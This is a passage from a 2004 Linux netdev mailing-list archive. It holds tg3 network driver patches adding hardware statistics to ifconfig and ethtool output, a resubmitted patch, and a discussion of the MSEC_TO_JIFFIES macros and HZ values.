count tg3 rx_discards stat for /proc/net/dev Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5074 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@melbourne.sgi.com Precedence: bulk X-list: netdev G'day, This small patch makes the rx_discards stat count towards the receive error count visible in /proc/net/dev and thus in the output of ifconfig. This stat is rarely non-zero unless you use multiple cards on the same PCI bus under heavy load; but when it does happen you really want to know about it. Index: linux/drivers/net/tg3.c =================================================================== --- linux.orig/drivers/net/tg3.c Wed May 12 12:15:11 2004 +++ linux/drivers/net/tg3.c Wed May 12 12:17:42 2004 @@ -5701,7 +5701,8 @@ get_stat64(&hw_stats->tx_octets); stats->rx_errors = old_stats->rx_errors + - get_stat64(&hw_stats->rx_errors); + get_stat64(&hw_stats->rx_errors) + + get_stat64(&hw_stats->rx_discards); stats->tx_errors = old_stats->tx_errors + get_stat64(&hw_stats->tx_errors) + get_stat64(&hw_stats->tx_mac_errors) + Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From gnb@melbourne.sgi.com Wed May 12 03:52:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 03:52:29 -0700 (PDT) Received: from omx1.americas.sgi.com (cfcafw.sgi.com [198.149.23.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CAqEKO005340 for ; Wed, 12 May 2004 03:52:15 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4CAbFT9017237 for ; Wed, 12 May 2004 05:37:16 -0500 Received: from melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id UAA01879; Wed, 12 May 2004 20:37:11 +1000 Message-ID: <40A1FE56.37308F98@melbourne.sgi.com> Date: Wed, 12 May 2004 20:37:10 +1000 From: Greg Banks Organization: SGI Australian Software Group X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18-6mdk i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: Linux Network Development list Subject: [PATCH] add more tg3 hardware stats to ethtool -S Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5075 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@melbourne.sgi.com Precedence: bulk X-list: netdev G'day, This patch adds a bunch of the more obscure tg3 hardware stats to the output of "ethtool -S". Some of these are useful for diagnosing performance problems, others are just for completeness. Index: linux/drivers/net/tg3.c =================================================================== --- linux.orig/drivers/net/tg3.c Mon May 10 12:32:38 2004 +++ linux/drivers/net/tg3.c Wed May 12 20:34:18 2004 @@ -126,7 +126,8 @@ /* minimum number of free TX descriptors required to wake up TX process */ #define TG3_TX_WAKEUP_THRESH (TG3_TX_RING_SIZE / 4) -#define TG3_NUM_STATS 25 /* number of ETHTOOL_GSTATS u64's */ +/* number of ETHTOOL_GSTATS u64's */ +#define TG3_NUM_STATS (sizeof(struct tg3_ethtool_stats)/sizeof(u64)) static char version[] __devinitdata = DRV_MODULE_NAME ".c:v" DRV_MODULE_VERSION " (" DRV_MODULE_RELDATE ")\n"; @@ -204,10 +205,13 @@ struct { char string[ETH_GSTRING_LEN]; } ethtool_stats_keys[TG3_NUM_STATS] = { + { "rx_octets" }, { "rx_fragments" }, { "rx_ucast_packets" }, + { "rx_mcast_packets" }, { "rx_bcast_packets" }, { "rx_fcs_errors" }, + { "rx_align_errors" }, { "rx_xon_pause_rcvd" }, { "rx_xoff_pause_rcvd" }, { "rx_mac_ctrl_rcvd" }, @@ -217,6 +221,19 @@ { "rx_undersize_packets" }, { "rx_in_length_errors" }, { "rx_out_length_errors" }, + { "rx_64_or_less_octet_packets" }, + { "rx_65_to_127_octet_packets" }, + { "rx_128_to_255_octet_packets" }, + { "rx_256_to_511_octet_packets" }, + { "rx_512_to_1023_octet_packets" }, + { "rx_1024_to_1522_octet_packets" }, + { "rx_1523_to_2047_octet_packets" }, + { "rx_2048_to_4095_octet_packets" }, + { "rx_4096_to_8191_octet_packets" }, + { "rx_8192_to_9022_octet_packets" }, + + { "tx_octets" }, + { "tx_collisions" }, { "tx_xon_sent" }, { "tx_xoff_sent" }, @@ -227,9 +244,43 @@ { "tx_deferred" }, { "tx_excessive_collisions" }, { "tx_late_collisions" }, + { "tx_collide_2times" }, + { "tx_collide_3times" }, + { "tx_collide_4times" }, + { "tx_collide_5times" }, + { "tx_collide_6times" }, + { "tx_collide_7times" }, + { "tx_collide_8times" }, + { "tx_collide_9times" }, + { "tx_collide_10times" }, + { "tx_collide_11times" }, + { "tx_collide_12times" }, + { "tx_collide_13times" }, + { "tx_collide_14times" }, + { "tx_collide_15times" }, { "tx_ucast_packets" }, { "tx_mcast_packets" }, - { "tx_bcast_packets" } + { "tx_bcast_packets" }, + { "tx_carrier_sense_errors" }, + { "tx_discards" }, + { "tx_errors" }, + + { "dma_writeq_full" }, + { "dma_write_prioq_full" }, + { "rxbds_empty" }, + { "rx_discards" }, + { "rx_errors" }, + { "rx_threshold_hit" }, + + { "dma_readq_full" }, + { "dma_read_prioq_full" }, + { "tx_comp_queue_full" }, + + { "ring_set_send_prod_index" }, + { "ring_status_update" }, + { "nic_irqs" }, + { "nic_avoided_irqs" }, + { "nic_tx_threshold_hit" } }; static void tg3_write_indirect_reg32(struct tg3 *tp, u32 off, u32 val) @@ -5709,10 +5760,13 @@ if (!hw_stats) return old_estats; + ESTAT_ADD(rx_octets); ESTAT_ADD(rx_fragments); ESTAT_ADD(rx_ucast_packets); + ESTAT_ADD(rx_mcast_packets); ESTAT_ADD(rx_bcast_packets); ESTAT_ADD(rx_fcs_errors); + ESTAT_ADD(rx_align_errors); ESTAT_ADD(rx_xon_pause_rcvd); ESTAT_ADD(rx_xoff_pause_rcvd); ESTAT_ADD(rx_mac_ctrl_rcvd); @@ -5722,7 +5776,19 @@ ESTAT_ADD(rx_undersize_packets); ESTAT_ADD(rx_in_length_errors); ESTAT_ADD(rx_out_length_errors); + ESTAT_ADD(rx_64_or_less_octet_packets); + ESTAT_ADD(rx_65_to_127_octet_packets); + ESTAT_ADD(rx_128_to_255_octet_packets); + ESTAT_ADD(rx_256_to_511_octet_packets); + ESTAT_ADD(rx_512_to_1023_octet_packets); + ESTAT_ADD(rx_1024_to_1522_octet_packets); + ESTAT_ADD(rx_1523_to_2047_octet_packets); + ESTAT_ADD(rx_2048_to_4095_octet_packets); + ESTAT_ADD(rx_4096_to_8191_octet_packets); + ESTAT_ADD(rx_8192_to_9022_octet_packets); + ESTAT_ADD(tx_octets); + ESTAT_ADD(tx_collisions); ESTAT_ADD(tx_xon_sent); ESTAT_ADD(tx_xoff_sent); ESTAT_ADD(tx_flow_control); @@ -5732,9 +5798,43 @@ ESTAT_ADD(tx_deferred); ESTAT_ADD(tx_excessive_collisions); ESTAT_ADD(tx_late_collisions); + ESTAT_ADD(tx_collide_2times); + ESTAT_ADD(tx_collide_3times); + ESTAT_ADD(tx_collide_4times); + ESTAT_ADD(tx_collide_5times); + ESTAT_ADD(tx_collide_6times); + ESTAT_ADD(tx_collide_7times); + ESTAT_ADD(tx_collide_8times); + ESTAT_ADD(tx_collide_9times); + ESTAT_ADD(tx_collide_10times); + ESTAT_ADD(tx_collide_11times); + ESTAT_ADD(tx_collide_12times); + ESTAT_ADD(tx_collide_13times); + ESTAT_ADD(tx_collide_14times); + ESTAT_ADD(tx_collide_15times); ESTAT_ADD(tx_ucast_packets); ESTAT_ADD(tx_mcast_packets); ESTAT_ADD(tx_bcast_packets); + ESTAT_ADD(tx_carrier_sense_errors); + ESTAT_ADD(tx_discards); + ESTAT_ADD(tx_errors); + + ESTAT_ADD(dma_writeq_full); + ESTAT_ADD(dma_write_prioq_full); + ESTAT_ADD(rxbds_empty); + ESTAT_ADD(rx_discards); + ESTAT_ADD(rx_errors); + ESTAT_ADD(rx_threshold_hit); + + ESTAT_ADD(dma_readq_full); + ESTAT_ADD(dma_read_prioq_full); + ESTAT_ADD(tx_comp_queue_full); + + ESTAT_ADD(ring_set_send_prod_index); + ESTAT_ADD(ring_status_update); + ESTAT_ADD(nic_irqs); + ESTAT_ADD(nic_avoided_irqs); + ESTAT_ADD(nic_tx_threshold_hit); return estats; } Index: linux/drivers/net/tg3.h =================================================================== --- linux.orig/drivers/net/tg3.h Mon May 10 12:32:02 2004 +++ linux/drivers/net/tg3.h Wed May 12 19:31:41 2004 @@ -1819,10 +1819,13 @@ struct tg3_ethtool_stats { /* Statistics maintained by Receive MAC. */ + u64 rx_octets; u64 rx_fragments; u64 rx_ucast_packets; + u64 rx_mcast_packets; u64 rx_bcast_packets; u64 rx_fcs_errors; + u64 rx_align_errors; u64 rx_xon_pause_rcvd; u64 rx_xoff_pause_rcvd; u64 rx_mac_ctrl_rcvd; @@ -1832,8 +1835,20 @@ u64 rx_undersize_packets; u64 rx_in_length_errors; u64 rx_out_length_errors; + u64 rx_64_or_less_octet_packets; + u64 rx_65_to_127_octet_packets; + u64 rx_128_to_255_octet_packets; + u64 rx_256_to_511_octet_packets; + u64 rx_512_to_1023_octet_packets; + u64 rx_1024_to_1522_octet_packets; + u64 rx_1523_to_2047_octet_packets; + u64 rx_2048_to_4095_octet_packets; + u64 rx_4096_to_8191_octet_packets; + u64 rx_8192_to_9022_octet_packets; /* Statistics maintained by Transmit MAC. */ + u64 tx_octets; + u64 tx_collisions; u64 tx_xon_sent; u64 tx_xoff_sent; u64 tx_flow_control; @@ -1843,9 +1858,46 @@ u64 tx_deferred; u64 tx_excessive_collisions; u64 tx_late_collisions; + u64 tx_collide_2times; + u64 tx_collide_3times; + u64 tx_collide_4times; + u64 tx_collide_5times; + u64 tx_collide_6times; + u64 tx_collide_7times; + u64 tx_collide_8times; + u64 tx_collide_9times; + u64 tx_collide_10times; + u64 tx_collide_11times; + u64 tx_collide_12times; + u64 tx_collide_13times; + u64 tx_collide_14times; + u64 tx_collide_15times; u64 tx_ucast_packets; u64 tx_mcast_packets; u64 tx_bcast_packets; + u64 tx_carrier_sense_errors; + u64 tx_discards; + u64 tx_errors; + + /* Statistics maintained by Receive List Placement. */ + u64 dma_writeq_full; + u64 dma_write_prioq_full; + u64 rxbds_empty; + u64 rx_discards; + u64 rx_errors; + u64 rx_threshold_hit; + + /* Statistics maintained by Send Data Initiator. */ + u64 dma_readq_full; + u64 dma_read_prioq_full; + u64 tx_comp_queue_full; + + /* Statistics maintained by Host Coalescing. */ + u64 ring_set_send_prod_index; + u64 ring_status_update; + u64 nic_irqs; + u64 nic_avoided_irqs; + u64 nic_tx_threshold_hit; }; struct tg3 { Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From davem@redhat.com Wed May 12 12:09:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 12:09:16 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CJ8xKO030020 for ; Wed, 12 May 2004 12:08:59 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4CJ8w0m001742; Wed, 12 May 2004 15:08:58 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4CJ8w321137; Wed, 12 May 2004 15:08:58 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4CJ8l11016441; Wed, 12 May 2004 15:08:47 -0400 Date: Wed, 12 May 2004 12:08:10 -0700 From: "David S. Miller" To: Arthur Kepner Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix "ethtool -S" for tg3 Message-Id: <20040512120810.464aaee6.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5076 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 11 May 2004 12:57:42 -0700 Arthur Kepner wrote: > --- linux/drivers/net/tg3.c 2004-05-11 12:11:45.000000000 -0700 > +++ linux.orig/drivers/net/tg3.c 2004-05-11 12:34:47.000000000 -0700 Patch doesn't apply, your mail client turned all the tabs into spaces. Use attachments if necessary, thanks. From Valdis.Kletnieks@vt.edu Wed May 12 12:47:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 12:47:52 -0700 (PDT) Received: from turing-police.cc.vt.edu (IDENT:root@turing-police.cc.vt.edu [128.173.14.107]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CJlTKO001502 for ; Wed, 12 May 2004 12:47:50 -0700 Received: from turing-police.cc.vt.edu (IDENT:valdis@localhost [127.0.0.1]) by turing-police.cc.vt.edu (8.13.0.Beta0/8.13.0.Beta0) with ESMTP id i4CJlJm5029666; Wed, 12 May 2004 15:47:20 -0400 Message-Id: <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4+dev To: Ingo Molnar Cc: Jeff Garzik , Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: Your message of "Wed, 12 May 2004 21:33:49 +0200." <20040512193349.GA14936@elte.hu> From: Valdis.Kletnieks@vt.edu References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-922413546P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 12 May 2004 15:47:18 -0400 X-archive-position: 5077 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Valdis.Kletnieks@vt.edu Precedence: bulk X-list: netdev --==_Exmh_-922413546P Content-Type: text/plain; charset=us-ascii On Wed, 12 May 2004 21:33:49 +0200, Ingo Molnar said: > > * Jeff Garzik wrote: > > > >Woah, that's new. And wrong. The code in include/asm-i386/param.h that > > >says: > > > # define JIFFIES_TO_MSEC(x) (x) > > > # define MSEC_TO_JIFFIES(x) (x) > > > > > >Is not correct. Look at kernel/sched.c for verification of this :) > > > > > > Yes, that is _massively_ broken. > > why is it wrong? If the kernel jiffie is anything other than exactly 1 msec, you're screwed... [/usr/src/linux-2.6.6-mm1]2 find include -name '*.h' | xargs egrep '#define HZ ' include/asm-ppc64/param.h:#define HZ 100 include/asm-mips/param.h:#define HZ 100 include/asm-mips/mach-dec/param.h:#define HZ (1 << LOG_2_HZ) include/asm-x86_64/param.h:#define HZ 100 include/asm-ppc/param.h:#define HZ 100 include/asm-m68k/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 1000 include/asm-m68knommu/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 100 include/asm-m68knommu/param.h:#define HZ 50 include/asm-m68knommu/param.h:#define HZ 100 include/asm-parisc/param.h:#define HZ 100 include/asm-um/param.h:#define HZ 100 include/asm-sparc/param.h:#define HZ 100 include/asm-s390/param.h:#define HZ 100 include/asm-i386/param.h:#define HZ 100 include/asm-h8300/param.h:#define HZ 100 include/asm-sparc64/param.h:#define HZ 100 include/asm-cris/param.h:#define HZ 100 include/asm-sh/param.h:#define HZ 100 --==_Exmh_-922413546P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQFAon9GcC3lWbTT17ARAigPAKCCSPWwcCkQWibTwH1yc2UpF9xdlQCcCafE oGCyNTmsGJeq1az6FzsK43o= =4uGi -----END PGP SIGNATURE----- --==_Exmh_-922413546P-- From davidel@xmailserver.org Wed May 12 12:49:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 12:49:43 -0700 (PDT) Received: from x35.xmailserver.org (x35.xmailserver.org [69.30.125.51]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CJneKO001823 for ; Wed, 12 May 2004 12:49:40 -0700 X-AuthUser: davidel@xmailserver.org Received: from bigblue.dev.mdolabs.com by xmailserver.org with [XMail 1.19 (Linux/Ix86) ESMTP Server] id for from ; Wed, 12 May 2004 12:49:57 -0700 Date: Wed, 12 May 2004 12:49:38 -0700 (PDT) From: Davide Libenzi X-X-Sender: davide@bigblue.dev.mdolabs.com To: Ingo Molnar cc: Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: <20040512193349.GA14936@elte.hu> Message-ID: References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5078 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davidel@xmailserver.org Precedence: bulk X-list: netdev On Wed, 12 May 2004, Ingo Molnar wrote: > > * Jeff Garzik wrote: > > > >Woah, that's new. And wrong. The code in include/asm-i386/param.h that > > >says: > > > # define JIFFIES_TO_MSEC(x) (x) > > > # define MSEC_TO_JIFFIES(x) (x) > > > > > >Is not correct. Look at kernel/sched.c for verification of this :) > > > > > > Yes, that is _massively_ broken. > > why is it wrong? For HZ == 1000 it's fine, even if it'd better to explicitly make it HZ dependent and let the compiler to discard them. - Davide From davidel@xmailserver.org Wed May 12 12:56:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 12:56:18 -0700 (PDT) Received: from x35.xmailserver.org (x35.xmailserver.org [69.30.125.51]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CJu5KO002232 for ; Wed, 12 May 2004 12:56:08 -0700 X-AuthUser: davidel@xmailserver.org Received: from bigblue.dev.mdolabs.com by xmailserver.org with [XMail 1.19 (Linux/Ix86) ESMTP Server] id for from ; Wed, 12 May 2004 12:56:23 -0700 Date: Wed, 12 May 2004 12:56:04 -0700 (PDT) From: Davide Libenzi X-X-Sender: davide@bigblue.dev.mdolabs.com To: Valdis.Kletnieks@vt.edu cc: Ingo Molnar , Jeff Garzik , Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> Message-ID: References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5079 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davidel@xmailserver.org Precedence: bulk X-list: netdev On Wed, 12 May 2004 Valdis.Kletnieks@vt.edu wrote: > On Wed, 12 May 2004 21:33:49 +0200, Ingo Molnar said: > > > > * Jeff Garzik wrote: > > > > > >Woah, that's new. And wrong. The code in include/asm-i386/param.h that > > > >says: > > > > # define JIFFIES_TO_MSEC(x) (x) > > > > # define MSEC_TO_JIFFIES(x) (x) > > > > > > > >Is not correct. Look at kernel/sched.c for verification of this :) > > > > > > > > > Yes, that is _massively_ broken. > > > > why is it wrong? > > If the kernel jiffie is anything other than exactly 1 msec, you're screwed... I believe they were talking about include/asm-i386/param.h ^^^^^^^^ - Davide From akepner@sgi.com Wed May 12 13:05:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:05:04 -0700 (PDT) Received: from omx2.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CK4wKO002634 for ; Wed, 12 May 2004 13:05:00 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by omx2.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with ESMTP id i4CK83j4006811 for ; Wed, 12 May 2004 13:08:03 -0700 Received: from neteng.engr.sgi.com (neteng.engr.sgi.com [192.26.80.10]) by cthulhu.engr.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id i4CK4b7610024394; Wed, 12 May 2004 13:04:52 -0700 (PDT) Date: Wed, 12 May 2004 13:00:24 -0700 From: Arthur Kepner X-X-Sender: akepner@neteng.engr.sgi.com To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix "ethtool -S" for tg3 In-Reply-To: <20040512120810.464aaee6.davem@redhat.com> Message-ID: References: <20040512120810.464aaee6.davem@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1072017398-1259774184-1084392024=:7328714" X-archive-position: 5080 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akepner@sgi.com Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1072017398-1259774184-1084392024=:7328714 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 May 2004, David S. Miller wrote: > ..... > Patch doesn't apply, your mail client turned all the tabs > into spaces. Use attachments if necessary, thanks. > OK. Attached is the patch. -- Arthur ---1072017398-1259774184-1084392024=:7328714 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=ethtool-S-patch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: ethtool -S patch Content-Disposition: attachment; filename=ethtool-S-patch LS0tIGxpbnV4Lm9yaWcvZHJpdmVycy9uZXQvdGczLmMJMjAwNC0wNS0xMiAx Mjo0MTo1OC4wMDAwMDAwMDAgLTA3MDANCisrKyBsaW51eC9kcml2ZXJzL25l dC90ZzMuYwkyMDA0LTA1LTEyIDEyOjQ3OjA2LjAwMDAwMDAwMCAtMDcwMA0K QEAgLTYyODQsNyArNjI4NCw3IEBADQogCQkJCSAgIHN0cnVjdCBldGh0b29s X3N0YXRzICplc3RhdHMsIHU2NCAqdG1wX3N0YXRzKQ0KIHsNCiAJc3RydWN0 IHRnMyAqdHAgPSBkZXYtPnByaXY7DQotCW1lbWNweSh0bXBfc3RhdHMsICZ0 cC0+ZXN0YXRzLCBzaXplb2YodHAtPmVzdGF0cykpOw0KKwltZW1jcHkodG1w X3N0YXRzLCB0ZzNfZ2V0X2VzdGF0cyh0cCksIHNpemVvZih0cC0+ZXN0YXRz KSk7DQogfQ0KIA0KIHN0YXRpYyBpbnQgdGczX2lvY3RsKHN0cnVjdCBuZXRf ZGV2aWNlICpkZXYsIHN0cnVjdCBpZnJlcSAqaWZyLCBpbnQgY21kKQ0K ---1072017398-1259774184-1084392024=:7328714-- From Valdis.Kletnieks@vt.edu Wed May 12 13:07:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:07:38 -0700 (PDT) Received: from turing-police.cc.vt.edu (IDENT:root@turing-police.cc.vt.edu [128.173.14.107]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CK7aKO003018 for ; Wed, 12 May 2004 13:07:36 -0700 Received: from turing-police.cc.vt.edu (IDENT:valdis@localhost [127.0.0.1]) by turing-police.cc.vt.edu (8.13.0.Beta0/8.13.0.Beta0) with ESMTP id i4CK7GPQ020444; Wed, 12 May 2004 16:07:16 -0400 Message-Id: <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4+dev To: Davide Libenzi Cc: Ingo Molnar , Jeff Garzik , Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: Your message of "Wed, 12 May 2004 12:56:04 PDT." From: Valdis.Kletnieks@vt.edu References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-846568836P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 12 May 2004 16:07:16 -0400 X-archive-position: 5081 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Valdis.Kletnieks@vt.edu Precedence: bulk X-list: netdev --==_Exmh_-846568836P Content-Type: text/plain; charset=us-ascii On Wed, 12 May 2004 12:56:04 PDT, Davide Libenzi said: > > If the kernel jiffie is anything other than exactly 1 msec, you're screwed. .. > > I believe they were talking about include/asm-i386/param.h > ^^^^^^^^ True. The problem is that even for the i386 family, there's no inherent reason why the value of HZ is nailed to 1000 - it was changed from the default 100 in the 2.4 kernel for reasons that apply to most, but not all, machines, and there's almost certainly people who are changing it back to 100 for good and valid reasons. We're still seeing the occasional code that goes gonzo because it assumed that the default value of HZ was 100 (there's been more than a few bugs concerning HZ/USER_HZ) - it would be foolish to go back and re-hard-code the value and start the cycle all over again.... --==_Exmh_-846568836P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQFAooP0cC3lWbTT17ARAn69AKCaN2cKcQLKOYh+/H6P2sH+HSsbtwCg5RjC cDKLLHf1nBvnDSW16FoqfKk= =u1/v -----END PGP SIGNATURE----- --==_Exmh_-846568836P-- From Valdis.Kletnieks@vt.edu Wed May 12 13:18:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:18:31 -0700 (PDT) Received: from turing-police.cc.vt.edu (IDENT:root@turing-police.cc.vt.edu [128.173.14.107]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKIMKO003446 for ; Wed, 12 May 2004 13:18:22 -0700 Received: from turing-police.cc.vt.edu (IDENT:valdis@localhost [127.0.0.1]) by turing-police.cc.vt.edu (8.13.0.Beta0/8.13.0.Beta0) with ESMTP id i4CKIHwB017258; Wed, 12 May 2004 16:18:17 -0400 Message-Id: <200405122018.i4CKIHwB017258@turing-police.cc.vt.edu> X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4+dev To: Ingo Molnar Cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: Your message of "Wed, 12 May 2004 22:03:05 +0200." <20040512200305.GA16078@elte.hu> From: Valdis.Kletnieks@vt.edu References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-832646691P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 12 May 2004 16:18:17 -0400 X-archive-position: 5082 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Valdis.Kletnieks@vt.edu Precedence: bulk X-list: netdev --==_Exmh_-832646691P Content-Type: text/plain; charset="us-ascii" Content-Id: <15995.1084393097.1@turing-police.cc.vt.edu> On Wed, 12 May 2004 22:03:05 +0200, Ingo Molnar said: > due to overflows. But we know that HZ is 1000 in the arch-dependent > param.h, and in sched.c we use the HZ dependent variant: That should read we "know" that HZ is 1000.... How about this instead? #if HZ == 1000 #define JIFFIES_TO_MSEC(x) (x) #else #define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) #endif That will DTRT if somebody changes HZ for their build, and still allow us to avoud the *1000/1000 conversion for most builds..... --==_Exmh_-832646691P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQFAooaJcC3lWbTT17ARAopaAKDCMr9rL9FCL+yMbmfh32JTam9lzQCaAi46 PMHDTWHrIciffsZPR4rW778= =Oras -----END PGP SIGNATURE----- --==_Exmh_-832646691P-- From akpm@osdl.org Wed May 12 13:23:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 